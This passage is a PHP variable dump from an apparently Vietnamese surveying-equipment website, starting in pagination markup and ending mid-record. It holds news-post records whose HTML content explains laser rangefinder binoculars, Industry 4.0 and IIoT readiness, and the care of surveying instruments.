class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span 